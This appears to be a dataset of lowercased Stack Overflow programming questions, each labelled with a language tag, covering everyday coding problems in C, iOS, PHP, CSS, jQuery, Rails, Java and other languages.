square of prime numbers in c  i m writing code that asks for two positive integers entered from the keyboard.  the first integer n is odd in the range 3-15  and the second will have an initial value i.  n will be the size of the array.  beginning in the center of the nxn array with the integer i.  if i is prime then print the number i in that position of the square.  otherwise print three asterisks in that position.  move to the right one square  and test the integer i+1 for primality.  print i+1 if it is prime and three asterisks if it is not. continue going counter clockwise through the square until the square is full of numbers and three asterisks  then print the array.    that s the problem; i have done most of it and am confused as to how to make the array and if any one could take a look at my code to let me know if i have my for loop set up correctly.  thank you kindly for your help.   <pre><code>#include &lt;stdio.h&gt;  int main(int argc char* argv[]) {     int n  i;      printf( enter an odd integer n between 3 and 15:  );     scanf( %d   &amp;n);      printf( enter an initial value i:  );     scanf( %d   &amp;i);      int arr[n][n];     int k = 1;     int i = n / 2 + 1;     int j = n / 2 + 1;      while(k &lt; n) {             int s;              for(s = 0; s &lt; k; s++  i++  i++)                     arr[i][j] = isprime(i)   i : -1;             for(s = 0; s &lt; k; s++  j--  k++)                     arr[i][j] = isprime(i)   : -1;             k++;             for(s = 0; s &lt; k; s++  i--  i++)                     arr[i][j] = isprime(i)   i : -1;             for(s = 0; s &lt; k; s++  j++  i++)                     arr[i][j] = isprime(i)   i :-1;             arr[i][j] = isprime(i)   i : -1;             k++;              if(isprime(i) == 1) {                 return i;             } else {                     printf( *** );             }     }             return 0; }  int isprime(int n) {     int i  count = 0;      for(i = 1; i &lt;= n; i++) {             if((n % i) == 0) count++;     } } </code></pre>,c
objective-c send parameter to void function  i have the following code that i m using to store an image in an ios app after taking a picture with the camera.  the image needs to have an identifiable name so it can later be retrieved for each contact.  how can i pass it a parameter or two so that the filename will end up being something like firstname_lastname.jpg instead of newimage.jpg    <pre><code>  -(void)saveimage {      nsdata *imgview = uiimagejpegrepresentation(imageview.image  1.0);      nsarray *path = nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes);     nsstring *docpath = [path objectatindex:0];      imgpathstring = [docpath stringbyappendingpathcomponent:@ newimage.jpg ];      [imgview writetofile:imgpathstring atomically:no];      uialertview *alert = [[uialertview alloc] initwithtitle:@ image saved  message:@ the image was saved.  delegate:self cancelbuttontitle:@ ok  otherbuttontitles:nil  nil]; [alert show]; } </code></pre>,objective-c
mysql - featch records with limit in one table  i have one table with 3 fields e.g.     name  team name  player_number    there is multiple team and i want to fetch 2 member from each team.     please share with fast solution.,mysql
implementing window property of uiapplicationdelegate protocol  assume i don t use storyboards. in all examples that i saw <code>window</code> property in application delegate initialized in <code>willfinishlaunchingwithoptions</code> or <code>didfinishlaunchingwithoptions</code>. why not at object initialization step  i tried to do this and all seems work fine.    upd: to be more clear. is this code contains any hidden issues    <pre><code>class myappdelegate: uiresponder  uiapplicationdelegate {     var window: uiwindow  = uiwindow(frame: uiscreen.mainscreen().bounds)      func application(application: uiapplication  willfinishlaunchingwithoptions launchoptions: [nsobject : anyobject] ) -&gt; bool {         window .rootviewcontroller = uiviewcontroller() //just template to make compile possible         window .makekeyandvisible()         return true     }     /* ... */ } </code></pre>,ios
how can i create a function to display an array as a tree   how can i create a function to display an array as a tree. for example i want to obtain a decision tree which i want to walk until i get to the leafs based on the branch s values.  i create the tree like bellow:   <pre><code> $tree= new ds_tree();  $node=array( name  =&gt;  start );   $tree-&gt;insert_node($node);  $tree-&gt;goto_root();    $mytree = new id3();   $mytree-&gt;init($data_array_attrlist $data_array_values $data_class $data_array_instances $tree);    $mytree-&gt;run();   echo  &lt;pre class= brush: php &gt; ;         print_r($mytree-&gt;tree-&gt;draw_tree());   echo  &lt;/pre&gt; ; </code></pre>   the function <code>draw_tree()</code> is:   <pre><code>public function draw_tree() {     return $this-&gt;nodes; } </code></pre>   the function that creates my tree is:   <pre><code>private function make_tree($attr) {     foreach($this-&gt;values[$attr] as $v) {         $subset = $this-&gt;get_subset($attr  $v);         if($the_class = $this-&gt;has_same_class($subset)) {             $node =array(                  name  =&gt; $attr                    arc  =&gt; $v             );             $this-&gt;tree-&gt;insert_node($node);              $this-&gt;instance = array_diff_key($this-&gt;instance  $subset);          } else {             $node =array(                  name  =&gt; $this-&gt;classa                   arc  =&gt; $v             );              $unresolved = $this-&gt;tree-&gt;insert_node($node);        }     }      if (isset($unresolved)) {          $this-&gt;tree-&gt;goto_index($unresolved);      }      } } </code></pre>   the result is:   <pre><code>array ( [0] =&gt; array     (         [name] =&gt; time         [parent] =&gt;          [children] =&gt; array             (                 [0] =&gt; 1             )      )  [1] =&gt; array     (         [name] =&gt; focus         [arc] =&gt; array             (                 [0] =&gt; 2 day/week                 [1] =&gt; 3 day/week                 [2] =&gt; 4 day/week                 [3] =&gt; 5 day/week                 [4] =&gt; 6 day/week             )          [parent] =&gt; 0         [children] =&gt; array             (                 [0] =&gt; 2             )      )  [2] =&gt; array     (         [name] =&gt; dificulty         [arc] =&gt; array             (                 [0] =&gt; weght loss                 [1] =&gt; mantain weight                 [2] =&gt; gain mass             )          [parent] =&gt; 1         [children] =&gt; array             (                 [0] =&gt; 3             )      )  [3] =&gt; array     (         [name] =&gt; sex         [arc] =&gt; array             (                 [0] =&gt; beginner                 [1] =&gt; intermediar                 [2] =&gt; advance             )          [parent] =&gt; 2         [children] =&gt; array             (                 [0] =&gt; 4             )      )  [4] =&gt; array     (         [name] =&gt; array             (                 [exercise] =&gt; array                     (                         [0] =&gt; array                             (                                 [0] =&gt; ex1                                   [1] =&gt; ex2                                 [2] =&gt; ex3                                 [3] =&gt; ex4                                 [4] =&gt; ex5                              )                      )              )          [arc] =&gt; array             (                 [0] =&gt; f                 [1] =&gt; m             )          [parent] =&gt; 3     )  ) </code></pre>,php
"how to make the img pinkish with an opacity of 0.5 on hover   i have set of images and when hovered the image will fade(whitish fade) its color. but what i want is for it to be pink (pinkish fade) with an opacity of 0.5. i can t make it change its color  what i did is just the fading (whitish fade) of image when hovered.     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.img-overlay {
   position: relative;
 }
 
 .img-overlay img {
   opacity: 1;
   display: block;
   width: 100%;
   height: auto;
   transition: .5s ease;
   backface-visibility: hidden;
 }
 
 .img-overlay:hover img {
   opacity: 0.5;
 }
 
 .middle {
   transition: .5s ease;
   opacity: 0;
   position: absolute;
   top: 50%;
   left: 50%;
   transform: translate(-50%  -50%);
   -ms-transform: translate(-50%  -50%)
 }
 
 .text {
   background-color: #4caf50;
   color: white;
   font-size: 16px;
   padding: 16px 32px;
 }
 
 .img-overlay:hover .middle {
   opacity: 1;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= wrappingimages &gt;
   &lt;div class= row &gt;
     &lt;div class= col-xs-12 col-sm-4 img-overlay &gt;&lt;img src= https://target.scene7.com/is/image/target/16590700 wid=520&amp;hei=520&amp;fmt=pjpeg  style= max-width:100% &gt;
       &lt;div class= middle &gt;
         &lt;div class= text &gt;pasta&lt;/div&gt;
       &lt;/div&gt;
     &lt;/div&gt;
     &lt;div class= col-xs-12 col-sm-4 img-overlay &gt;&lt;img src= https://target.scene7.com/is/image/target/16590700 wid=520&amp;hei=520&amp;fmt=pjpeg  style= max-width:100% &gt;
       &lt;div class= middle &gt;
         &lt;div class= text &gt;pasta&lt;/div&gt;
       &lt;/div&gt;
     &lt;/div&gt;
     &lt;!-- optional: clear the xs cols if their content doesn t match in height --&gt;
     &lt;div class= clearfix visible-xs-block &gt;&lt;/div&gt;
     &lt;div class= col-xs-12 col-sm-4 img-overlay &gt;&lt;img src= https://target.scene7.com/is/image/target/16590700 wid=520&amp;hei=520&amp;fmt=pjpeg  style= max-width:100% &gt;
       &lt;div class= middle &gt;
         &lt;div class= text &gt;pasta&lt;/div&gt;
       &lt;/div&gt;
     &lt;/div&gt;
   &lt;/div&gt;
   &lt;div class= row &gt;
     &lt;div class= col-xs-12 col-sm-4 img-overlay &gt;&lt;img src= https://target.scene7.com/is/image/target/16590700 wid=520&amp;hei=520&amp;fmt=pjpeg  style= max-width:100% &gt;
       &lt;div class= middle &gt;
         &lt;div class= text &gt;pasta&lt;/div&gt;
       &lt;/div&gt;
     &lt;/div&gt;
     &lt;div class= col-xs-12 col-sm-4 img-overlay &gt;&lt;img src= https://target.scene7.com/is/image/target/16590700 wid=520&amp;hei=520&amp;fmt=pjpeg  style= max-width:100% &gt;
       &lt;div class= middle &gt;
         &lt;div class= text &gt;pasta&lt;/div&gt;
       &lt;/div&gt;
     &lt;/div&gt;
     &lt;!-- optional: clear the xs cols if their content doesn t match in height --&gt;
     &lt;div class= clearfix visible-xs-block &gt;&lt;/div&gt;
     &lt;div class= col-xs-12 col-sm-4 img-overlay &gt;&lt;img src= https://target.scene7.com/is/image/target/16590700 wid=520&amp;hei=520&amp;fmt=pjpeg  style= max-width:100% &gt;
       &lt;div class= middle &gt;
         &lt;div class= text &gt;pasta&lt;/div&gt;
       &lt;/div&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",html
load different web page if using an iphone vs android  i want iphone users who go to my website be allowed to  but if an android user goes to the same page  i want it to load a different page  like a desktop page. is it possible to add a code that will differentiate the two      thanks,html
how to get the concrete class name as a string   i want to avoid calling a lot of <code>isinstance()</code> functions  so i m looking for a way to get the concrete class name for an instance variable as a string.    any ideas,python
ios - error: invalid_client the oauth client was not found  i am facing some issues with google s oauth2 client on ios using the library(oauth2client-<a href= https://github.com/nxtbgthng/oauth2client  rel= nofollow >https://github.com/nxtbgthng/oauth2client</a>‎). i have registered my app with the google api s console. i trying to authenticate inside the uiwebview controller in a native ios app.    my initial issue was  <code>uiwebview</code> showing blank view... just white screen. this issue is fixed by editing the clientid details like  giving app store id(instead of blank id). after this  i got the google login screen in my native ios app and next i tried to login.    after that onwards  i am getting an error screen in the uiwebview controller. following is the error:   <blockquote>    error: invalid_client        the oauth client was not found.        request details        cookie_policy_enforce=false        ..........        ..........  </blockquote>   please anyone help me to fix this issue.    thanks and regards  alvin,ios
is it ok to use previous handler in activity created before ondestroy() onpause()   is it ok to reuse a handler object in the next life of activity which was previously created in its previous session (before onpause  ondestroy())      like i create a handler in activity propagate it to other objects elsewhere  the activity dies or pauses  then comes to life again and use the old handler      <pre><code>    // in the oncreate() method i have this code to recreate handler every time     // then i set the handler to a static global object      // other objects use the global object s static method to get      //fresh handler every timebefore calling sendmessage()          /**      * set up handler       */          handler h = new handler(new callback()      {                    public boolean handlemessage(message msg)          {             handleservicemessage(msg);             return true;         }     });        uiglobal = new uiglobals(h); </code></pre>   uiglobals is declared as    <pre><code> private static uiglobals uiglobal = null; </code></pre>   not sure if the above approach is correct ..    my globalui class looks like this   <pre><code>    public class uiglobals      {          private static handler handler = null;           public uiglobals(handler h)         {             handler = h;         }            public static handler gethandler()         {             return handler;         }         } </code></pre>,android
jquery: enabling a text field based on selecting a certain drop down value  i think i am very close to solving this  but i am going wrong somewhere.    if from the dropdown  mercedes  is selected  then the text input should be enabled (note with the actual system there are no class or id names so i have to go by the form name).    i also need it to check on initial page load if this value is set to mercedes  in that case the input should not be showing either.    this is what i have so far (<a href= http://jsfiddle.net/fakeguybrushthreepwood/bzvae/  rel= nofollow >fiddle</a>):    html:    <strong>your car:</strong>   <pre><code>&lt;select name= car &gt;   &lt;option value=  &gt;&lt;/option&gt;   &lt;option value= volvo &gt;volvo&lt;/option&gt;   &lt;option value= saab &gt;saab&lt;/option&gt;   &lt;option value= mercedes &gt;mercedes&lt;/option&gt;   &lt;option value= audi &gt;audi&lt;/option&gt; &lt;/select&gt; &lt;br&gt; what do you like about your mercedes  &lt;input type= text  name= likemercedes &gt; </code></pre>   <strong>jquery:</strong>   <pre><code>$( input[type= text ][name= likemercedes ] ).prop( disabled   true);  if($( input[type= text ][name= car ] ).val() ==  mercedes )  {     $( input[type= text ][name= likemercedes ] ).removeattr( disabled ); } </code></pre>,jquery
cheat sheet for putting up a rails app  is there a cheat sheet for putting up a rails app (scaffolding is ok) all i need is 1 database called users with 2 fields name and email as string fields. i need the commands from:   <pre><code>rails new app_name </code></pre>   to:   <pre><code>localhost:3000/users </code></pre>,ruby-on-rails
accessing returned information from nserror   does anyone know if i can extract just the verbose part of the returned error (i.e.  the file “maya.mel” couldn’t be opened because the text encoding of its contents can’t be determined. )   <pre><code>nserror *fileerror; nsstringencoding fileencoding; nsstring *filecontents;  filecontents = [nsstring stringwithcontentsoffile:fileondisk                                      usedencoding:&amp;fileencoding                                              error:&amp;fileerror]; </code></pre>   when i use the following i get the output   <pre><code>nslog(@ error : %@   fileerror); </code></pre>   <em>error : error domain=nscocoaerrordomain code=264 userinfo=0x100111a40  the file “maya.mel” couldn’t be opened because the text encoding of its contents can’t be determined. </em>   <pre><code>nslog(@ error : %d   [fileerror code]); // gives: 264  nslog(@ error : %@   [fileerror domain]); // gives: nscocoaerrordomain  nslog(@ error : %@   [fileerror userinfo]); // gives: nsfilepath =  /users/gary/documents/xcode/rnd/maya.mel ; </code></pre>   gary,objective-c
how can i reference an object with a dropdown input in rails   i have models <code>order</code> and <code>vendor</code>. <code>order</code> has <code>vendor</code>  <code>description</code>  <code>items</code>  <code>cost</code> fields  and <code>vendor</code> has <code>name</code>  <code>email</code>  <code>phone</code>.    when a user creates a new <code>order</code>  i would like them to select the vendor s <code>name</code> from a dropdown input  which references the whole relevant <code>vendor</code> objects in the <code>order</code> s <code>vendor</code> field.,ruby-on-rails
how to check string length in javascript   how can i check the length of in string in javascript  here is a small code example:   <pre><code>if(value != null &amp;&amp; value !=    &amp;&amp; value.length !== 10 &amp;&amp; !value.match(/^\d*$/)){     // do something  } </code></pre>   the expression  value.length !== 10  doesn´t work. a string must contain at least 10 characters. how can i solve this problem,javascript
"when cloning item select not working  i have a button on my website that clones a few textboxes and allows the users to add multiple guests to their booking.    i have 3 textboxes and a fourth which is a select option. for some reason when i run the function <code>newmenuitem()</code> the select option does not work for the newitem  however the original does work.  the select option just is frozen (it shows an option) but dont allow you to click the dropdown.    i have a feeling it is to do with the class being  chosen-select .    <div class= snippet  data-lang= js  data-hide= false  data-console= false  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>/*----------------------------------------------------*/
 /*  chosen plugin
 /*----------------------------------------------------*/
 
 var config = {
    .chosen-select            : {disable_search_threshold: 10  width: 100% } 
    .chosen-select-deselect   : {allow_single_deselect:true  width: 100% } 
    .chosen-select-no-single  : {disable_search_threshold:100  width: 100% } 
    .chosen-select-no-single.no-search  : {disable_search_threshold:10  width: 100% } 
    .chosen-select-no-results : {no_results_text: oops  nothing found! } 
    .chosen-select-width      : {width: 95% }
 };
 
 for (var selector in config) {
     if (config.hasownproperty(selector)) {
       $(selector).chosen(config[selector]);
    }
 }
 
 
 /*----------------------------------------------------*/
 /* guest list
 /*----------------------------------------------------*/
 function newmenuitem() {
   var newelem = $( tr.pricing-list-item.pattern ).first().clone();
   newelem.find( input ).val(  );
   newelem.appendto( table#pricing-list-container );
 }
 
 if ($( table#pricing-list-container ).is( * )) {
   $( .add-pricing-list-item ).on( click   function(e) {
     e.preventdefault();
     newmenuitem();
   });
 
   // remove ingredient
   $(document).on( click    #pricing-list-container .delete   function(e) {
     e.preventdefault();
     $(this).parent().parent().remove();
   });
 
   // add submenu
   $( .add-pricing-submenu ).on( click   function(e) {
     e.preventdefault();
 
     var newelem = $(   +
        &lt;tr class= pricing-list-item pricing-submenu &gt;  +
        &lt;td&gt;  +
        &lt;div class= fm-move &gt;&lt;i class= sl sl-icon-cursor-move &gt;&lt;/i&gt;&lt;/div&gt;  +
        &lt;div class= fm-input &gt;&lt;input type= text  placeholder= category title  /&gt;&lt;/div&gt;  +
        &lt;div class= fm-close &gt;&lt;a class= delete  href= # &gt;&lt;i class= fa fa-remove &gt;&lt;/i&gt;&lt;/a&gt;&lt;/div&gt;  +
        &lt;/td&gt;  +
        &lt;/tr&gt; );
 
     newelem.appendto( table#pricing-list-container );
   });
 
 
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js &gt;&lt;/script&gt;
 &lt;table id= pricing-list-container &gt;
   &lt;tr class= pricing-list-item pattern &gt;
     &lt;td&gt;
 
       &lt;div class= fm-input pricing-name &gt;
         &lt;label&gt;full name&lt;/label&gt;
         &lt;input type= text  value=  &gt;&lt;/div&gt;
       &lt;div class= fm-input pricing-name &gt;
         &lt;label&gt;email address&lt;/label&gt;
         &lt;input type= text  value=  &gt;&lt;/div&gt;
       &lt;div class= fm-input pricing-name &gt;
         &lt;label&gt;phone number&lt;/label&gt;
         &lt;input type= text  value=  &gt;&lt;/div&gt;
 
       &lt;div class= fm-input pricing-name &gt;
         &lt;label&gt;package&lt;/label&gt;
         &lt;select data-placeholder= select item  class= chosen-select  id= packages[] &gt;
     &lt;option&gt;select a package &lt;/option&gt;
     
     &lt;option value =   &gt;package1 &lt;/option&gt;
     &lt;option value =   &gt;package2 &lt;/option&gt;
     &lt;/select&gt;&lt;/div&gt;
 
 
 
       &lt;div class= fm-close &gt;&lt;a class= delete  href= # &gt;&lt;i class= fa fa-remove &gt;&lt;/i&gt;&lt;/a&gt;&lt;/div&gt;
     &lt;/td&gt;
   &lt;/tr&gt;
 &lt;/table&gt;
 &lt;a href= #  class= button add-pricing-list-item &gt;add guest&lt;/a&gt;</code></pre>
 </div>
 </div>",jquery
auto-scrobble video titles  i want to automate the service myshows.ru. riht now  people must manually input information about movies they watched.    i want to write a program in c++  that gets the titles of movies in video players and scrobbles them to their account on the service.    what libraries i can use for this work,c++
how to use build method with a has_many :through association  <strong>my models:</strong>   <pre><code>class vip &lt; activerecord::base     belongs_to :organization     has_many :events     has_many :organizations  :through =&gt; :events end  class organization &lt; activerecord::base     belongs_to :user     has_many :events     has_many :vips  :through =&gt; :events end  class event &lt; activerecord::base   belongs_to :organization   belongs_to :vip end </code></pre>   <strong>my vips controller:</strong>   <pre><code>def create     @organization = organization.find(params[:organization_id])     @vip = @organization.vips.build(vip_params)      if @vip.save         redirect_to organization_path(@organization)     else         render  new      end end def vip_params     params.require(:vip).permit(:name  :about  :organization_id) end </code></pre>   before i started using the has_many :through associations  the <code>build</code> method would automatically add the foreign key to the new vip. so my vips table would have the <code>organization_id</code> column populated. since using the has_many associations  the <code>organization_id</code> column is being left null on <code> vip#create </code>.     is there a reason that <code>build</code> wouldn t work the same way anymore with my new associations,ruby-on-rails
does giving full path for partial view increase performance  <pre><code>return partialview() vs return partialview( ~/views/home/abc.cshtml ) </code></pre>   i have removed all the view engines from my project except <code>razorviewengine</code>.    just want to know which is better in terms of performance. here the controller is <code>homecontroller</code> and the view name is <code>abc.cshtml</code> which is inside <code>views/home</code> folder and the action name is <code>abc()</code>. i am using ajax to call the partialview.   <blockquote>    edited: since i have removed all the viewengines. i am assuming it   will only look into two folders. first the view folder  itself and   second the shared folder for the cshtml file. so if i give full path   will it  increase performance even if its in milliseconds.  </blockquote>,c#
add ivars in @implementation  for good encapsulation  decent <code>objective-c</code> programmers put their <code>private</code> ivars in a private <code>extension</code> declared in the main implementation file  like this:   <pre><code>// myclass.m  @interface myclass () {     float value; } @end  @implementation myclass @end </code></pre>   but recently  i found a simpler way to hide <code>private</code> ivars: ivars can be declared in a <code>{}</code> block following <code>@implementation</code>  like this:   <pre><code>// myclass.m  @implementation myclass {     float value; } @end </code></pre>   it is really handy when no private methods but only <code>private</code> ivars need to be hidden.    however  i m not sure about its syntax validity. can anyone validate or invalidate it with some canonical references,objective-c
what is the pregmatch to retrieve these values using javascript <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/8355422/what-is-the-reg-expression-for-this-using-javascript >what is the reg expression for this using javascript</a>    </blockquote>     how to retrieve the value 100003119917070 and xgxelclikmksccs from below document using preg match    <pre><code>&lt;script&gt; window.env = window.env || {}; (function(v) {    for (var k in v) { window.env[k] = v[k]; }  })({    user :  100003119917070       locale :  en_us       method :  get       ps_limit : 5      ps_ratio : 4      svn_rev : 479734      static_base :  https:\/\/s-static.ak.facebook.com\/       www_base :  http:\/\/www.facebook.com\/       rep_lag : 2      post_form_id :  6cea66d4118fac268304a538a5004ed7       fb_dtsg :  aqacbeoe       ajaxpipe_token :  axgxelclikmksccs       lhsh :  8aqgga7en       tracking_domain :  https:\/\/pixel.facebook.com      retry_ajax_on_network_error :  1       ajaxpipe_enabled :  1   });  &lt;/script&gt;  &lt;script&gt;  cavalrylogger=false;  window._incorporate_fragment = true;  window._script_path =  \/home.php ;  window._eagleeyeseed= se1e ;  &lt;/script&gt; </code></pre>,javascript
how do i get the dollar sign to show up beside numerical values in printf method   here is my code. i want the dollar sign to print beside each value.   <pre><code>  for(int i = 0; i &lt; enrollment.size(); i++)     {         system.out.println(enrollment.get(i).tostring());         system.out.printf( \ttuition: %17.2f \n  enrollment.get(i).calctuition());     } </code></pre>,java
why can t i constrain the size of this table using css   i have built a simple webpage where a table is created using javascript upon clicking on a button.    i have given the table a class name and i have given this class some formatting attributes such as: table-layout: fixed width: 650px    also  i have attempted to force the text inside the table s td elements to wrap.    despite this  the table overflows its parent element and the result is not what i expected. i am all the more puzzled since i created another page on my website that is set-up in a similar fashion and that is working properly.    could you please tell me what i am doing wrong     result <img src= https://i.stack.imgur.com/xx13w.jpg  alt= enter image description here >    html             <pre><code>&lt;head&gt;     &lt;meta charset= utf-8  /&gt;      &lt;title&gt;forum&lt;/title&gt;     &lt;link rel= stylesheet  type= text/css  href= main.css  /&gt;     &lt;link rel= stylesheet  type= text/css  href= stocktails.css  /&gt;     &lt;script type= text/javascript  src= forum.js &gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt;      &lt;nav id= top-menu &gt;         &lt;ul&gt;             &lt;li&gt; &lt;a href= index.xhtml &gt;home&lt;/a&gt; &lt;/li&gt;             &lt;li&gt; &lt;a href= charting.xhtml &gt;charting&lt;/a&gt; &lt;/li&gt;             &lt;li&gt; &lt;a href= map.xhtml &gt;map&lt;/a&gt; &lt;/li&gt;             &lt;li&gt; &lt;a href= financials.xhtml &gt;financials&lt;/a&gt; &lt;/li&gt;             &lt;li&gt; &lt;a href= forum.xhtml &gt;forum&lt;/a&gt; &lt;/li&gt;             &lt;li&gt; &lt;a href= about.xhtml &gt;about&lt;/a&gt; &lt;/li&gt;         &lt;/ul&gt;     &lt;/nav&gt;      &lt;div id= maindiv &gt;         &lt;header&gt;             &lt;hgroup&gt;                 &lt;h1&gt; discussion forum &lt;/h1&gt;             &lt;/hgroup&gt;             &lt;p&gt; bounce your investing ideas off the community &lt;/p&gt;         &lt;/header&gt;          &lt;div&gt;             &lt;p&gt; key in you post. &lt;/p&gt;             &lt;input type= text  id= posttext  /&gt;             &lt;button type= submit  onclick= tablecreate(); &gt;submit your post&lt;/button&gt;         &lt;/div&gt;          &lt;article&gt;             &lt;div id= tableplaceholder &gt;&lt;/div&gt;         &lt;/article&gt;          &lt;aside class= about &gt;             &lt;header&gt;                 &lt;h1&gt; forum etiquette &lt;/h1&gt;                 &lt;p&gt; thou shall not troll &lt;/p&gt;             &lt;/header&gt;             &lt;section&gt;                 &lt;hgroup&gt;                     &lt;h1&gt; no promotion &lt;/h1&gt;                 &lt;/hgroup&gt;                 &lt;p&gt; do not use this forum to promote your own business. &lt;/p&gt;             &lt;/section&gt;             &lt;section&gt;                 &lt;hgroup&gt;                     &lt;h1&gt; keep calm and carry on &lt;/h1&gt;                 &lt;/hgroup&gt;                 &lt;p&gt; be courteous. personal disagreements should be handled through email and not through public posts. &lt;/p&gt;             &lt;/section&gt;             &lt;section&gt;                 &lt;hgroup&gt;                     &lt;h1&gt; no hijacking &lt;/h1&gt;                 &lt;/hgroup&gt;                 &lt;p&gt; do not hijack someone else s thread and interrupt a topic of discussion. &lt;/p&gt;             &lt;/section&gt;         &lt;/aside&gt;          &lt;div class= clear &gt;&lt;/div&gt;     &lt;/div&gt;      &lt;footer&gt;         &lt;p&gt;             this is a footer.         &lt;/p&gt;     &lt;/footer&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   css   <pre><code>body {     background-color: #fffbef; }  .story p {     line-height: 1.2;     text-align: justify; }  h1  h2  h3  h4  h5  h6 {     font-family: sans-serif;     color: #093844;     margin: .25ex 12pt; }  .clear {     margin: 0;     padding: 0;     clear: both; }  img.img-right {     display: block;     float: right;     border: none;     padding: 2px;     margin: 3px 6pt 3px 6px; }  /* navigation menu */  nav#top-menu {     width: 100%;     height: 50px;     //background-color: #fff2c1;     margin: 0;     padding: 0; }  #top-menu ul {     display: block;     list-style-type: none;     width: 600px;     margin: 0 auto;     padding: 0; }  #top-menu ul li {     margin: 0;     padding: 0; }  #top-menu ul li a {     display: block;     float: left;     max-height: 25px;     width: 100px;     margin: 0;     padding: 5px 0;     font-family: sans-serif;     font-size: 20px;     text-align: center;     text-decoration: none;     color: #52736b;     border-bottom: #fffbef solid 2px; }  #top-menu ul li a:hover { border-bottom: #52736b solid 2px; }  /* header */  header h1 { margin-top: 0; }  header p {     font-family: sans-serif;     font-weight: bold;     font-style: italic;     font-size: 85%;     margin: .25ex 12pt;     color: #093844; }  /* maindiv */  #maindiv {     width: 1250px;     margin: 0 auto;     padding: 10px;     background-color: #eec; }  /* article */  article {     width: 950px;     float: left; }  article h1 {     font-size: 110%;     margin-top: 12pt;     padding-top: 3pt;     border-top: 4px solid #52736b; }  /* aside */  aside.about {     float: right;     width: 238px;     background-color: #b7c4b1;     margin: 3pt 6pt 3pt 6pt; }  aside h1 { font-size: 110%; } aside h2 { font-size: 90%; } aside p {     margin: 0 12pt;     font-family: sans-serif;     font-style: italic;     font-size: 80%; }  aside section h1 {     padding-top: 3pt;     border-top: 4px solid #4f5856; }  aside header p {     font-size: 85%; }  aside section {     padding: 5px 0 5px 0; }  /* footer */  footer {     background: #4f5856;     clear: all; }  footer p {     color: #8c8e7e;     font-size: 70%;     font-family: sans-serif;     text-align: center;     margin: 0;     padding: 10px 0; }   //---------------------------------------------------------------- //--------------------forum--------------------------------------- //----------------------------------------------------------------  .forumtable table {     float: left;     padding: 10px;     table-layout: fixed;     width: 650px; }  .forumtable table th  td {     border: 1px #52736b solid;     word-wrap: break-word }  .forumtable table caption {     padding-top: 10px;     font-size: 130%; }  .forumtable tfoot td {     border: none; }  .forumtable th {     text-align: left; } </code></pre>   javascript   <pre><code>function tablecreate(){     var tableplaceholder = document.getelementbyid( tableplaceholder );     var tbl  = document.createelement( table );     var br = document.createelement( br );     tbl.classname =  forumtable       for(var i = 0; i &lt; 2; i++){ //rows         var tr = tbl.insertrow();         for(var j = 0; j &lt; 2; j++){ //columns             var td = tr.insertcell();         }     }     //var tf = tbl.createtfoot();     //var tfr = tf.insertrow();     //var tfd = tfr.insertcell();      tbl.getelementsbytagname( tr )[0].getelementsbytagname( td )[0].appendchild(document.createtextnode( date ));     tbl.getelementsbytagname( tr )[0].getelementsbytagname( td )[1].appendchild(document.createtextnode( post number ));     tbl.getelementsbytagname( tr )[1].getelementsbytagname( td )[0].appendchild(document.createtextnode( member ));     tbl.getelementsbytagname( tr )[1].getelementsbytagname( td )[1].appendchild(document.createtextnode( texttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttexttext ));      tableplaceholder.appendchild(br);     tableplaceholder.appendchild(tbl);  } </code></pre>,css
bucky robert s first task  validating password with isupper()  isdigit()  and the containment of a  $  character  ok so i have been watching bucky robert s tutorials on c programming and the first task he gives the viewers is to make a program that checks if a password has at least one upper case character  one digit  and one dollar sign.    this is my code:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;ctype.h&gt; #include &lt;string.h&gt; #include &lt;math.h&gt;  int main() {     int upper = 0;     int digit = 0;     int dollar = 0;      char password[16];      int loop = 1;      while(loop == 1){          printf( enter your password:  );         scanf(  %s   password);          int i;         for(i = 0; i &lt;= 16; i++){             printf(  %c   password[i]);              if(isupper(password[i])){                 upper = 1;                 printf( \t is upper );             }              if(isdigit(password[i])){                 digit = 1;                 printf( \t is digit );             }              if(password[i] ==  $ ){                 dollar = 1;                 printf( \t is dollar );             }             printf( \n );         }          if((upper == 1) &amp;&amp; (digit == 1) &amp;&amp; (dollar == 1)){             printf( your password is valid\n );             loop = 0;         } else {             printf( your password is invalid\n );         }     }      return 0; } </code></pre>   the program prints this in the console after an input of  p4ssword :   <pre><code> enter your password: p4ssword  p       is upper  4       is digit  s  s  w  o  r       is upper  d   ╨   @   ö     `  $       is dollar  your password is valid </code></pre>   none of the passwords i entered contain the  $  character yet the program still finds a way to detect it. the reason it prints  is digit  or  is dollar  after the character was to check what had gone wrong in the code and see why the passwords were all valid. i have no idea why all those random characters are printed and i would rather know what is going wrong with my program rather than taking a new approach to the task at hand.,c
how to load .jar file in c++ using jni  i am trying to load a method present in a .jar. following is code snippet   <pre><code>javavminitargs vm_args; memset(&amp;vm_args  0  sizeof(vm_args)); javavmoption* options = new javavmoption[1];  options[0].optionstring =        -  djava.class.path=c:\\users\\desktop\\poc\\poc\\debug\\sample2.jar;     vm_args.version = jni_version_1_6; vm_args.noptions = 1; vm_args.options = options; vm_args.ignoreunrecognized = 0; jni_getdefaultjavavminitargs(&amp;vm_args); m_status = jni_createjavavm_ptr (&amp;m_jvm  (void**)&amp;m_javaenv  &amp;vm_args); </code></pre>   but when i use the   <pre><code>     classforjava = m_javaenv-&gt;findclass ( sample2 ); </code></pre>   <code>classforjava</code> contains <code>0</code>.,c++
